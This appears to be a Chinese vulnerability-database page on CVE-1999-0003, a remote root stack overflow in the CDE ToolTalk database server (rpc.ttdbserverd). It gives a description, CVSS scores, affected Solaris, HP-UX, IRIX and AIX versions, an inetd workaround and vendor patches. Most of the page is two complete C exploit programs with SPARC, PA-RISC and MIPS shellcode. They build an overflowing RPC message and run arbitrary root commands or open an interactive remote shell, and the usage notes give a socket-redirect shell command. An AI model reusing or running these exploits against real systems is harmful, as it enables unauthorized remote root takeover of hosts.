CVE-1999-0003
CVSS10.0
发布时间 :1998-04-01 00:00:00
修订时间 :2008-09-09 08:33:30
NMCOE    

[原文]Execute commands as root via buffer overflow in Tooltalk database server (rpc.ttdbserverd).


[CNNVD]多家厂商CDE ToolTalk数据库服务器rpc.ttdbserverd远程缓冲区溢出漏洞(CNNVD-199804-004)

        
        Common Desktop Environment (CDE)是一款集成图形用户接口,运行在各种UNIX和LINUX操作系统下,CDE ToolTalk服务允许独立的开发应用程序,使应用程序可以跨主机和平台交换ToolTalk信息相互之间通信,使用ToolTalk服务,应用程序可以建立开放协议允许各种程序进行交换和新的程序插入到系统中可以尽可能最小化重新配置。ToolTalk RPC数据库服务程序,rpc.ttdbserverd用于管理ToolTalk应用通信。很多Unix系统厂商默认都安装了CDE。
        ToolTalk数据库服务的一个执行错误可以使远程攻击者在支持ToolTalk服务的主机上以超级用户的权限运行任意指令。
        在ToolTalk数据库服务发生执行错误的时候,远程客户端发送一个恶意的RPC消息可能引起一个堆变量的溢出,执行恶意RPC消息里的任意指令,从而获得主机的root用户权限。
        <*链接:http://online.securityfocus.com/advisories/281
         http://marc.theaimsgroup.com/?l=bugtraq&m=90461590528287&w=2
         http://www.cert.org/advisories/CA-1998-11.html
         ftp://patches.sgi.com/support/free/security/advisories/19981101-01-P
         ftp://patches.sgi.com/support/free/security/advisories/20020302-01-A
        *>

- CVSS (基础分值)

CVSS分值: 10 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/o:sun:solaris:2.5
cpe:/o:hp:hp-ux:11.00HP-UX 11.00
cpe:/o:sun:solaris:2.6
cpe:/o:sun:solaris:2.0
cpe:/o:sgi:irix:6.4SGI IRIX 6.4
cpe:/o:ibm:aix:4.1.2IBM AIX 4.1.2
cpe:/o:sun:solaris:2.5.1
cpe:/o:sgi:irix:5.2SGI IRIX 5.2
cpe:/o:ibm:aix:4.1.4IBM AIX 4.1.4
cpe:/o:ibm:aix:4.3IBM AIX 4.3
cpe:/o:sgi:irix:6.0SGI IRIX 6.0
cpe:/o:ibm:aix:4.1.5IBM AIX 4.1.5
cpe:/o:sun:solaris:2.4
cpe:/o:ibm:aix:4.1.3IBM AIX 4.1.3
cpe:/o:sgi:irix:6.3SGI IRIX 6.3
cpe:/a:tritreal:ted_cde:4.3
cpe:/o:sun:solaris:2.2
cpe:/o:sun:solaris:2.3
cpe:/o:ibm:aix:4.2.1IBM AIX 4.2.1
cpe:/o:sgi:irix:6.2SGI IRIX 6.2
cpe:/o:sgi:irix:5.3SGI IRIX 5.3
cpe:/o:ibm:aix:4.1IBM AIX 4.1
cpe:/o:sun:solaris:1.1
cpe:/o:sun:solaris:2.1
cpe:/o:hp:hp-ux:10.02HP HP-UX 10.2
cpe:/o:ibm:aix:4.2IBM AIX 4.2
cpe:/o:hp:hp-ux:10.03HP HP-UX 10.3
cpe:/o:hp:hp-ux:10.01HP HP-UX 10.01
cpe:/o:sgi:irix:6.1SGI IRIX 6.1
cpe:/o:ibm:aix:4.1.1IBM AIX 4.1.1
cpe:/o:sun:solaris:1.2

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0003
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-1999-0003
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-199804-004
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/bid/122
(UNKNOWN)  BID  122
ftp://patches.sgi.com/support/free/security/advisories/19981101-01-PX
(UNKNOWN)  SGI  19981101-01-PX
ftp://patches.sgi.com/support/free/security/advisories/19981101-01-A
(UNKNOWN)  SGI  19981101-01-A

- 漏洞信息

多家厂商CDE ToolTalk数据库服务器rpc.ttdbserverd远程缓冲区溢出漏洞
危急 其他
1998-04-01 00:00:00 2006-11-16 00:00:00
远程※本地  
        
        Common Desktop Environment (CDE)是一款集成图形用户接口,运行在各种UNIX和LINUX操作系统下,CDE ToolTalk服务允许独立的开发应用程序,使应用程序可以跨主机和平台交换ToolTalk信息相互之间通信,使用ToolTalk服务,应用程序可以建立开放协议允许各种程序进行交换和新的程序插入到系统中可以尽可能最小化重新配置。ToolTalk RPC数据库服务程序,rpc.ttdbserverd用于管理ToolTalk应用通信。很多Unix系统厂商默认都安装了CDE。
        ToolTalk数据库服务的一个执行错误可以使远程攻击者在支持ToolTalk服务的主机上以超级用户的权限运行任意指令。
        在ToolTalk数据库服务发生执行错误的时候,远程客户端发送一个恶意的RPC消息可能引起一个堆变量的溢出,执行恶意RPC消息里的任意指令,从而获得主机的root用户权限。
        <*链接:http://online.securityfocus.com/advisories/281
         http://marc.theaimsgroup.com/?l=bugtraq&m=90461590528287&w=2
         http://www.cert.org/advisories/CA-1998-11.html
         ftp://patches.sgi.com/support/free/security/advisories/19981101-01-P
         ftp://patches.sgi.com/support/free/security/advisories/20020302-01-A
        *>

- 公告与补丁

        临时解决方法:
        如果您不能立刻安装补丁或者升级,CNNVD建议您采取以下措施以降低威胁:
        * 在没有安装补丁之前,建议您立刻关闭rpc.ttdbserverd程序。
        以Solaris系统为例:
        首先变成root身份,然后使用您熟悉的编辑器打开/etc/inetd.conf文件,找到如下行:
        100083/1 tli rpc/tcp wait root /usr/dt/bin/rpc.ttdbserverd rpc.ttdbserverd
        在该行的开始处增加"#"号来将其注释:
        #100083/1 tli rpc/tcp wait root /usr/dt/bin/rpc.ttdbserverd rpc.ttdbserverd
        存盘退出。然后重启inetd:
        # ps -ef|grep inetd
        # kill -HUP
        厂商补丁:
        IBM
        ---
        目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
        
        http://www.ers.ibm.com/

        IBM AIX 4.1:
        IBM APAR IX81440
        IBM AIX 4.1.1:
        IBM APAR IX81440
        IBM AIX 4.1.2:
        IBM APAR IX81440
        IBM AIX 4.1.3:
        IBM APAR IX81440
        IBM AIX 4.1.4:
        IBM APAR IX81440
        IBM AIX 4.1.5:
        IBM APAR IX81440
        IBM AIX 4.2:
        IBM APAR IX81441
        IBM AIX 4.2.1:
        IBM APAR IX81441
        IBM AIX 4.3:
        IBM APAR IX81442
        SGI
        ---
        SGI已经为此发布了两个安全公告(19981101-01-P,20020302-01-A)以及相应补丁:
        19981101-01-P:Vulnerability in ToolTalk RPC Service
        链接:ftp://patches.sgi.com/support/free/security/advisories/19981101-01-P
        20020302-01-A:Additional CDE and CDE ToolTalk Vulnerabilities
        链接:ftp://patches.sgi.com/support/free/security/advisories/20020302-01-A
        Sun
        ---
        目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
        
        http://sunsolve.sun.com/sunsolve/pubpatches/patches.html

        Sun Solaris 1.1:
        Sun Solaris 1.1.1:
        Sun Solaris 1.1.2:
        Sun Solaris 1.1.3 _U1:
        Sun Solaris 1.1.3:
        Sun Solaris 1.1.4 -JL:
        Sun Solaris 1.1.4:
        Sun Solaris 1.2:
        Sun Solaris 2.0:
        Sun Solaris 2.1:
        Sun Solaris 2.2:
        Sun Solaris 2.3:
        Sun Patch 101495-03
        Sun Solaris 2.4 _x86:
        Sun Patch 108641-01
        Sun Solaris 2.4:
        Sun Patch 102734-05
        Sun Solaris 2.5 _x86:
        Sun Solaris 2.5:
        Sun Solaris 2.5.1 _x86:
        Sun Solaris 2.5.1 _ppc:
        Sun Solaris 2.5.1:
        Sun Solaris 2.6 _x86:
        Sun Patch 105803-05
        Sun Solaris 2.6:
        Sun Patch 105802-05
        TriTeal
        -------
        目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
        
        http://www.triteal.com/support

        TriTeal TED CDE 4.4
        Xi Graphics
        -----------
        目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
        ftp://ftp.xig.com:/pub/updates/cde/1.2.3/C1203.002.tar.gz
        ftp://ftp.xig.com:/pub/updates/cde/1.2.3/C1203.002.txt

- 漏洞信息 (19101)

Xi Graphics Maximum CDE 1.2.3,TriTeal TED CDE 4.3,Sun Solaris <= 2.5.1 ToolTalk RPC Service Overflow Vulnerability (1) (EDBID:19101)
unix remote
1998-08-31 Verified
0 NAI research team
N/A [点击下载]
source: http://www.securityfocus.com/bid/122/info

An implementation fault in the ToolTalk object database server allows a remote attacker to run arbitrary code as the superuser on hosts supporting the ToolTalk service. The affected program runs on many popular UNIX operating systems supporting CDE and some Open Windows installs. 

The ToolTalk service allows independently developed applications to communicate with each other by exchanging ToolTalk messages. Using ToolTalk, applications can create open protocols which allow different programs to be interchanged, and new programs to be plugged into the system with minimal reconfiguration.

The ToolTalk database server (rpc.ttdbserverd) is an ONC RPC service which manages objects needed for the operation of the ToolTalk service. ToolTalk-enabled processes communicate with each other using RPC calls to this program, which runs on each ToolTalk-enabled host. This program is a standard component of the ToolTalk system, which ships as a standard component of many commercial Unix operating systems. The ToolTalk database server runs as root.

Due to an implementation fault in rpc.ttdbserverd, it is possible for a malicious remote client to formulate an RPC message that will cause the server to overflow an automatic variable on the stack. By overwriting activation records stored on the stack, it is possible to force a transfer of control into arbitrary instructions provided by the attacker in the RPC message, and thus gain total control of the server process.


/*
 rpc.ttdbserver remote overflow, apk
 Solaris (tested on SS5 and Ultra 2.5.1)
 Irix (tested on r5k and r10k O2 6.3), 
 HP-UX ( tested on 700s 10.20)

 usage: ./r [-ku] [-p port] [-f outfile] host cmd
           -k : kill ttdbserver (read below)
           -u : use UDP (default TCP)
           -p port : connect to ttdbserver at port (don't ask portmap)
           -f outfile : store rpc message in outfile (and do NOT contact host)

 note:
   it should compile on any normal system, to get HP-UX exploit compile with 
     -DHPUX, for Solaris -DSOLARIS, for Irix use -DIRIX
   cmd is run through sh -c, and there is no practical limit for command 
     length, but it has to fit in buffer (1024 bytes in this case), 
     and ~(strlen + 1) cannot contain '0'
   by default ttdbserver runs from inetd, so it will be respawned each time
     it die (I mean execute command), also because it dies correct reply is
     clnt_call error (connection reset, timeout etc)
   -f file option: On HP-UX and Irix, connected socket gets first free
     descriptor, 3 on HP-UX and 5 on Irix. You can use -f option to store
     datagram to file, and send it to ttdbserver with your telnet of 
     choice.  With command like "0<&3 1>&3 2>&3 exec sh" on HP-UX you'll get
     remote shell running. Solaris dup() connected fd to first free one
     over 256, so you have to study sh man page to find a way to do this <g>
     You should kill ttdbserver before, to make sure it doesn't have
     any files open except 0-2 fds passed from inetd. Actually on Irix
     it looks like fucked up, ttdbserver gets 0-2 fds from inetd, ignores
     them and opens new ones as 3 and 4 fd, so you need to redirect 5th fd.
     It happens on 6.3 at least, I need to look at other versions.
     Irix is also the only one I saw which supports ttdbserver over UDP,
     keep in mind that by default generated RPC datagram is TCP version with
     record marking, you should use -u option to get UDP version (or just remove
     first four bytes from generated file)
  for reasons I can't quite understand, you _have_ to kil ttdbserver on Solaris
    before sending a command there. When ttdbserver has connected clients,
    it simply returns an error (filename too long). In both cases
    it looks like the program goes through the same way, well, maybe I'll
    get a clue one day what happens there.
  On Irix to get over its fucked up cache, I simply send like 20kb to make
    it flushed, so it's not reliable. You can find a buffer allocated by xdr 
    and it should be better. 
  surprizingly there are some differences between ttdbserver on above platforms,
    like solaris dup() of fds, start-up Irix behaviour, the fact that
    on Irix it first tries chdir to directory then do some task (it's the
    reason I have to add "/f" at the end of buffer to have it copy overflow
    part of the buffer on stack) etc. That's why it may not work on other
    systems and versions than mentioned at the beginning.

 */

#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <netdb.h>
#include <rpc/rpc.h>

#define PORT 0
#define BSIZE 1024

#if defined(SOLARIS)
# define SP 0xefffd618
# define LENOFS 80
char asmcode[]="\x20\xbf\xff\xff\x20\xbf\xff\xff\x7f\xff\xff\xff\x92\x03\xe0\x48\x90\x02\x60\x10\xe0\x02\x3f\xf0\xa2\x80\x3f\xff\xa0\x24\x40\x10\xd0\x22\x3f\xf0\xc0\x22\x3f\xfc\xa2\x02\x20\x09\xc0\x2c\x7f\xff\xe2\x22\x3f\xf4\xa2\x04\x60\x03\xc0\x2c\x7f\xff\xe2\x22\x3f\xf8\xa2\x04\x40\x10\xc0\x2c\x7f\xff\x82\x10\x20\x0b\x91\xd0\x20\x08\xff\xff\xff\xfc\x22\x22\x22\x22\x33\x33\x33\x33\x44\x44\x44\x44\x2f\x62\x69\x6e\x2f\x6b\x73\x68\x2e\x2d\x63\x2e";
char NOP[]="\x80\x1c\x40\x11";
#endif

#if defined(HPUX)
# define SP 0x7b03cc10
# define LENOFS 84
char asmcode[]="\xeb\x40\x40\x02\x0b\x39\x02\x80\xd7\x40\x0c\x1e\xb7\x5a\x20\xb8\x0b\x5a\x02\x59\x0f\x21\x10\x98\x97\x18\x07\xff\x0f\x39\x12\x81\x0f\x20\x12\x99\xb7\x39\x20\x10\x0f\x20\x12\x1f\x0f\x59\x12\x89\xb7\x39\x20\x06\x0f\x20\x12\x1f\x0f\x59\x12\x91\x0b\x38\x06\x19\x0f\x20\x12\x1f\xb7\x59\x07\xe1\x20\x20\x08\x01\xe4\x20\xe0\x08\xb4\x16\x10\x16\x11\x11\x11\x11\x22\x22\x22\x22\x33\x33\x33\x33\x44\x44\x44\x44\x2f\x62\x69\x6e\x2f\x73\x68\x2e\x2d\x63\x2e";
char NOP[]="\x0b\x39\x02\x80";
#endif

#if defined(IRIX)
# define SP 0x7fff1b30
# define LENOFS 76
char asmcode[]="\x04\x10\xff\xff\x27\xe4\x01\x01\x24\x84\xff\x5e\x8c\x8c\xff\xe5\x24\x0d\xff\xff\x01\xac\x60\x23\x01\x84\x60\x20\xa1\x80\xff\xff\xa0\x80\xff\xff\xac\x84\xff\xed\x24\x84\xff\xfd\xa0\x80\xff\xff\xac\x84\xff\xec\x24\x84\xff\xf8\x24\x85\xff\xf0\xac\x84\xff\xf0\xac\x80\xff\xfc\x24\x02\x03\xf3\x02\x04\x8d\x0c\xff\xff\xff\xfc\x22\x22\x22\x22\x22\x22\x22\x22\x22\x22\x22\x22\x2f\x62\x69\x6e\x2f\x73\x68\x2e\x2d\x63\x2e";
char NOP[]="\x24\x0f\x12\x34";

#endif

#define TT_DBSERVER_PROG 100083
#define TT_DBSERVER_VERS 1
#define _TT_P 7

struct tt_reply {
  int i1;
  int i2;
};

void usage(char *s) {
  printf("Usage: %s [-ku] [-p port] [-f outfile] host cmd\n", s);
  exit(0);
}

bool_t xdr_tt_reply(XDR *xdrs, struct tt_reply *objp) {

  if (!xdr_int(xdrs, &objp->i1))
    return (FALSE);
  if (!xdr_int(xdrs, &objp->i2)) 
    return (FALSE);
  return (TRUE);
}

void make_file(char *fname, char *buf, int type);

main(int argc, char *argv[]) {
  extern int optind;
  extern char *optarg;
  CLIENT *cl;
  enum clnt_stat stat;
  struct timeval tm;
  struct hostent *hp;
  struct sockaddr_in target;
  struct tt_reply op_res;
  char buf[64000], *path, *cmd, *host, *bp, *outfile = NULL;
  int sd, i, sp = SP, bsize = BSIZE, port = PORT, kill = 0, proto = 0;

  while ((i = getopt(argc, argv, "ukp:f:")) != EOF)
    switch (i) {
      case 'p':
        port = atoi(optarg);
        break;
      case 'k':
        kill = 1;
        break;
      case 'u':
        proto = 1;
        break;
      case 'f':
        outfile = optarg;
        break;
      default:
        usage(argv[0]);
    }
  if (argc - optind < 2)
    usage(argv[0]);
  cmd = argv[optind + 1];
  host = argv[optind];

  for (i = 0; i < sizeof(buf); i++)
    *(buf + i) = NOP[i % 4];

  i = bsize - strlen(asmcode) - strlen(cmd);
  i &= 0xfffffffc;
  strcpy(buf + i, asmcode);
  strcat(buf, cmd);
  *(int *)(buf + i + LENOFS) = ~(strlen(cmd) + 1);
  buf[strlen(buf)] = '.';
  bp = buf + bsize;
  for (i = 0; i < 16; bp+=4, i++)
    *(int *)bp = sp;
#ifdef IRIX
  sp = sp + 400 + 31652;
  for (i = 0; i < 5000; bp+=4, i++)
    *(int *)bp = sp;
  *bp++ = '/';
  *bp++ = 'f';
  path = buf + 2;
#else
  path = buf;
#endif
  *bp = 0;

  if (outfile) {
    make_file(outfile, buf, proto);
    printf("rpc datagram stored in %s\n", outfile);
    exit(0);
  }

  if ((target.sin_addr.s_addr = inet_addr(host)) == -1) {
    if ((hp = gethostbyname(host)) == NULL) {
      printf("%s: cannot resolve\n", host);
      exit(1); 
    } else
      target.sin_addr.s_addr = *(u_long *)hp->h_addr;
  }
  target.sin_family = AF_INET;
  target.sin_port = htons(port);
  sd = RPC_ANYSOCK;

  tm.tv_sec = 4;
  tm.tv_usec = 0;
  if (proto) 
    cl = clntudp_create(&target, TT_DBSERVER_PROG, TT_DBSERVER_VERS, tm, &sd);
  else
    cl = clnttcp_create(&target, TT_DBSERVER_PROG, TT_DBSERVER_VERS, &sd, 0, 0);
  if (cl == NULL) {
    clnt_pcreateerror("clnt_create");
    exit(0);
  }
  cl->cl_auth = authunix_create("localhost", 0, 0, 0, NULL);
  tm.tv_sec = 10;

  if (kill) {
    path = NULL;
    bp = NULL;
    if ((stat = clnt_call(cl, 15, xdr_wrapstring, (char *)&path, 
        xdr_wrapstring, (char *)&bp, tm)) != RPC_SUCCESS) {
      clnt_perror(cl, "clnt_call");
      exit(1);
    }
    printf("Could not kill ttdbserver, reply is: %s\n", bp);
    exit(1);
  }

  if ((stat = clnt_call(cl, _TT_P, xdr_wrapstring, (char *)&path, xdr_tt_reply, 
       (char *)&op_res, tm)) != RPC_SUCCESS) {
    clnt_perror(cl, "clnt_call");
    exit(1);
  }
  printf("res i1 %d, res i2 %d\n", op_res.i1, op_res.i2);
  clnt_destroy(cl);
}

void make_file(char *fname, char *buf, int type) {
  int fd, offs;
  XDR xdrm;
  struct rpc_msg rpc_hdr;
  struct authunix_parms aup;
  char dgram[64000], rauth[MAX_AUTH_BYTES];

  if (type == 1) /* UDP */
    offs = 4;
  if ((fd = open(fname, O_RDWR | O_CREAT | O_TRUNC, 0666)) == -1) {
    perror(fname);
    exit(1);
  }
  xdrmem_create(&xdrm, rauth, sizeof(rauth), XDR_ENCODE);
  aup.aup_time = (u_long)time(NULL);
  aup.aup_machname = "localhost";
  aup.aup_uid = 0;
  aup.aup_gid = 0;
  aup.aup_len = 0;
  aup.aup_gids = NULL;
  if (xdr_authunix_parms(&xdrm, &aup) == FALSE) {
    printf("error encoding auth cred\n");
    exit(1);
  }
  rpc_hdr.rm_call.cb_cred.oa_length = xdr_getpos(&xdrm);
  xdr_destroy(&xdrm);
  xdrmem_create(&xdrm, dgram + 4, sizeof(dgram), XDR_ENCODE);
  rpc_hdr.rm_xid = 0x12345678;
  rpc_hdr.rm_direction = CALL;
  rpc_hdr.rm_call.cb_rpcvers = 2;
  rpc_hdr.rm_call.cb_prog = TT_DBSERVER_PROG;
  rpc_hdr.rm_call.cb_vers = TT_DBSERVER_VERS;
  rpc_hdr.rm_call.cb_proc = _TT_P;
  rpc_hdr.rm_call.cb_cred.oa_flavor = AUTH_UNIX;
  rpc_hdr.rm_call.cb_cred.oa_base = rauth;
  rpc_hdr.rm_call.cb_verf.oa_flavor = AUTH_NONE;
  rpc_hdr.rm_call.cb_verf.oa_base = NULL;
  rpc_hdr.rm_call.cb_verf.oa_length = 0;
  if (xdr_callmsg(&xdrm, &rpc_hdr) == FALSE) {
    printf("error encoding rpc header\n");
    exit(1);
  }
  if (xdr_wrapstring(&xdrm, &buf) == FALSE) {
    printf("error encoding rpc data\n");
    exit(1);
  }
  /* record marking */
  *(u_int *)dgram = 0x80000000 | xdr_getpos(&xdrm);
  if (write(fd, dgram + offs, xdr_getpos(&xdrm) + 4) == -1) {
    perror("write");
    exit(1);
  }
  xdr_destroy(&xdrm);
  close(fd);
}
		

- 漏洞信息 (19102)

Xi Graphics Maximum CDE 1.2.3,TriTeal TED CDE 4.3,Sun Solaris <= 2.5.1 ToolTalk RPC Service Overflow Vulnerability (2) (EDBID:19102)
unix remote
1998-08-31 Verified
0 NAI research team
N/A [点击下载]
source: http://www.securityfocus.com/bid/122/info
 
An implementation fault in the ToolTalk object database server allows a remote attacker to run arbitrary code as the superuser on hosts supporting the ToolTalk service. The affected program runs on many popular UNIX operating systems supporting CDE and some Open Windows installs.
 
The ToolTalk service allows independently developed applications to communicate with each other by exchanging ToolTalk messages. Using ToolTalk, applications can create open protocols which allow different programs to be interchanged, and new programs to be plugged into the system with minimal reconfiguration.
 
The ToolTalk database server (rpc.ttdbserverd) is an ONC RPC service which manages objects needed for the operation of the ToolTalk service. ToolTalk-enabled processes communicate with each other using RPC calls to this program, which runs on each ToolTalk-enabled host. This program is a standard component of the ToolTalk system, which ships as a standard component of many commercial Unix operating systems. The ToolTalk database server runs as root.
 
Due to an implementation fault in rpc.ttdbserverd, it is possible for a malicious remote client to formulate an RPC message that will cause the server to overflow an automatic variable on the stack. By overwriting activation records stored on the stack, it is possible to force a transfer of control into arbitrary instructions provided by the attacker in the RPC message, and thus gain total control of the server process.
/*## copyright LAST STAGE OF DELIRIUM jul 1998 poland        *://lsd-pl.net/ #*/
/*## rpc.ttdbserverd                                                         #*/

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <rpc/rpc.h>
#include <netdb.h>
#include <stdio.h>
#include <errno.h>

#define ADRNUM 2000
#define NOPNUM 18000

#define TTDBSERVERD_PROG 100083
#define TTDBSERVERD_VERS 1
#define TTDBSERVERD_ISERASE 7

char findsckcode[]=
    "\x04\x10\xff\xff"       /* bltzal  $zero,<findsckcode>  */
    "\x24\x10\x01\x90"       /* li      $s0,400              */
    "\x22\x11\xff\xb0"       /* addi    $s1,$s0,-80          */
    "\x22\x12\xff\xac"       /* addi    $s2,$s0,-84          */
    "\x22\x0d\xfe\x98"       /* addi    $t5,$s0,-360         */
    "\x03\xed\x68\x20"       /* add     $t5,$ra,$t5          */
    "\x01\xa0\xf0\x09"       /* jalr    $s8,$t5              */

    "\x8f\xeb\xff\xc0"       /* lw      $t3,-64($ra)         */
    "\x31\x6b\xff\xff"       /* andi    $t3,$t3,0xffff       */
    "\x21\x6b\x00\x00"       /* addi    $t3,$t3,0            */
    "\x22\x0d\xfe\xc0"       /* addi    $t5,$s0,-320         */
    "\x11\x60\xff\xf9"       /* beqz    $t3,<findsckcode+20> */

    "\x22\x24\xfe\xd4"       /* addi    $a0,$s1,-300         */
    "\x23\xe5\xff\xc0"       /* addi    $a1,$ra,-64          */
    "\x23\xe6\xff\xbc"       /* addi    $a2,$ra,-68          */
    "\xaf\xf2\xff\xbc"       /* sw      $s2,-68($ra)         */
    "\x24\x02\x04\x45"       /* li      $v0,1093             */
    "\x03\xff\xff\xcc"       /* syscall                      */
    "\x22\x31\xff\xff"       /* addi    $s1,$s1,-1           */
    "\x10\xe0\xff\xf3"       /* beqz    $a3,<findsckcode+28> */
    "\x22\x2b\xfe\xd4"       /* addi    $t3,$s1,-300         */
    "\x1d\x60\xff\xf6"       /* bgzt    $t3,<findsckcode+48> */

    "\x22\x04\xfe\x72"       /* addi    $a0,$s0,-398         */
    "\x24\x02\x03\xee"       /* li      $v0,1006             */
    "\x03\xff\xff\xcc"       /* syscall                      */
    "\x22\x24\xfe\xd5"       /* addi    $a0,$s1,-299         */
    "\x22\x05\xfe\x72"       /* addi    $a1,$s0,-398         */
    "\x24\x02\x04\x11"       /* li      $v0,1041             */
    "\x03\xff\xff\xcc"       /* syscall                      */
    "\x22\x10\xff\xff"       /* addi    $s0,$s0,-1           */
    "\x22\x0b\xfe\x72"       /* addi    $t3,$s0,-398         */
    "\x05\x61\xff\xf6"       /* bgez    $t3,<findsckcode+88> */
;

char shellcode[]=
    "\x04\x10\xff\xff"       /* bltzal  $zero,<shellcode>    */
    "\x24\x02\x03\xf3"       /* li      $v0,1011             */
    "\x23\xff\x01\x14"       /* addi    $ra,$ra,276          */
    "\x23\xe4\xff\x08"       /* addi    $a0,$ra,-248         */
    "\x23\xe5\xff\x10"       /* addi    $a1,$ra,-220         */
    "\xaf\xe4\xff\x10"       /* sw      $a0,-220($ra)        */
    "\xaf\xe0\xff\x14"       /* sw      $zero,-236($ra)      */
    "\xa3\xe0\xff\x0f"       /* sb      $zero,-241($ra)      */
    "\x03\xff\xff\xcc"       /* syscall                      */
    "/bin/sh"
;

char cmdshellcode[]=
    "\x04\x10\xff\xff"       /* bltzal  $zero,<cmdshellcode> */
    "\x24\x02\x03\xf3"       /* li      $v0,1011             */
    "\x23\xff\x08\xf4"       /* addi    $ra,$ra,2292         */
    "\x23\xe4\xf7\x40"       /* addi    $a0,$ra,-2240        */
    "\x23\xe5\xfb\x24"       /* addi    $a1,$ra,-1244        */
    "\xaf\xe4\xfb\x24"       /* sw      $a0,-1244($ra)       */
    "\x23\xe6\xf7\x48"       /* addi    $a2,$ra,-2232        */
    "\xaf\xe6\xfb\x28"       /* sw      $a2,-1240($ra)       */
    "\x23\xe6\xf7\x4c"       /* addi    $a2,$ra,-2228        */
    "\xaf\xe6\xfb\x2c"       /* sw      $a2,-1236($ra)       */
    "\xaf\xe0\xfb\x30"       /* sw      $zero,-1232($ra)     */
    "\xa3\xe0\xf7\x47"       /* sb      $zero,-2233($ra)     */
    "\xa3\xe0\xf7\x4a"       /* sb      $zero,-2230($ra)     */
    "\x02\x04\x8d\x0c"       /* syscall                      */
    "\x01\x08\x40\x25"       /* or      $t0,$t0,$t0          */
    "/bin/sh -c  "
;

static char nop[]="\x24\x0f\x12\x34";

typedef struct{char *string;}req_t;

bool_t xdr_req(XDR *xdrs,req_t *obj){
    if(!xdr_string(xdrs,&obj->string,~0)) return(FALSE);
    return(TRUE);
}

main(int argc,char **argv){
    char buffer[30000],address[4],*b,*cmd;
    int i,c,n,flag=1,vers=6,port=0,sck;
    CLIENT *cl;enum clnt_stat stat;
    struct hostent *hp;
    struct sockaddr_in adr;
    struct timeval tm={10,0};
    req_t req;

    printf("copyright LAST STAGE OF DELIRIUM jul 1998 poland  //lsd-pl.net/\n");
    printf("rpc.ttdbserverd for irix 5.2 5.3 6.2 6.3 6.4 6.5 6.5.2 ");
    printf("IP:17,19-22,25-28,30,32\n\n");

    if(argc<2){
        printf("usage: %s address [-s|-c command] [-p port] [-v 5]\n",argv[0]);
        exit(-1);
    }

    while((c=getopt(argc-1,&argv[1],"sc:p:v:"))!=-1){
        switch(c){
        case 's': flag=1;break;
        case 'c': flag=0;cmd=optarg;break;
        case 'p': port=atoi(optarg);break;
        case 'v': vers=atoi(optarg);
        }
    }

    if(vers==5) *(unsigned long*)address=htonl(0x7fff24f4+2000+9000+32700);
    else *(unsigned long*)address=htonl(0x7fff24f4+2000+9000);

    printf("adr=0x%08x timeout=%d ",ntohl(*(unsigned long*)address),tm.tv_sec);
    fflush(stdout);

    adr.sin_family=AF_INET;
    adr.sin_port=htons(port);
    if((adr.sin_addr.s_addr=inet_addr(argv[1]))==-1){
        if((hp=gethostbyname(argv[1]))==NULL){
            errno=EADDRNOTAVAIL;perror("error");exit(-1);
        }
        memcpy(&adr.sin_addr.s_addr,hp->h_addr,4);
    }

    sck=RPC_ANYSOCK;
    if(!(cl=clnttcp_create(&adr,TTDBSERVERD_PROG,TTDBSERVERD_VERS,&sck,0,0))){
        clnt_pcreateerror("error");exit(-1);
    }

    b=buffer;
    for(i=0;i<ADRNUM;i++) *b++=address[i%4];
    for(i=0;i<NOPNUM;i++) *b++=nop[i%4];
    if(flag){
        i=sizeof(struct sockaddr_in);
        if(getsockname(sck,(struct sockaddr*)&adr,&i)==-1){
            struct netbuf {unsigned int maxlen;unsigned int len;char *buf;};
            struct netbuf nb;
            ioctl(sck,(('S'<<8)|2),"sockmod");
            nb.maxlen=0xffff;
            nb.len=sizeof(struct sockaddr_in);;
            nb.buf=(char*)&adr;
            ioctl(sck,(('T'<<8)|144),&nb);
        }
        n=-ntohs(adr.sin_port);
        printf("port=%d connected! ",-n);fflush(stdout);

        findsckcode[36+2]=(unsigned char)((n&0xff00)>>8);
        findsckcode[36+3]=(unsigned char)(n&0xff);
        for(i=0;i<strlen(findsckcode);i++) *b++=findsckcode[i];
        for(i=0;i<4;i++) *b++=nop[i%4];
        for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i];
    }else{
        printf("connected! ");fflush(stdout);
        for(i=0;i<strlen(cmdshellcode);i++) *b++=cmdshellcode[i];
        for(i=0;i<4;i++) *b++=' ';
        for(i=0;i<strlen(cmd);i++) *b++=cmd[i];
    }
    *b++=':';
    *b=0;

    req.string=buffer;
    cl->cl_auth=authunix_create("localhost",0,0,0,NULL);
    stat=clnt_call(cl,TTDBSERVERD_ISERASE,xdr_req,&req,xdr_void,NULL,tm);
    printf("sent!\n");
    if(!flag) exit(0);

    write(sck,"/bin/uname -a\n",14);
    while(1){
        fd_set fds;
        FD_ZERO(&fds);
        FD_SET(0,&fds);
        FD_SET(sck,&fds);
        if(select(FD_SETSIZE,&fds,NULL,NULL,NULL)){
            int cnt;
            char buf[1024];
            if(FD_ISSET(0,&fds)){
                if((cnt=read(0,buf,1024))<1){
                    if(errno==EWOULDBLOCK||errno==EAGAIN) continue;
                    else break;
                }
                write(sck,buf,cnt);
            }
            if(FD_ISSET(sck,&fds)){
                if((cnt=read(sck,buf,1024))<1){
                    if(errno==EWOULDBLOCK||errno==EAGAIN) continue;
                    else break;
                }
                write(1,buf,cnt);
            }
        }
    }
}		

- 漏洞信息

4505
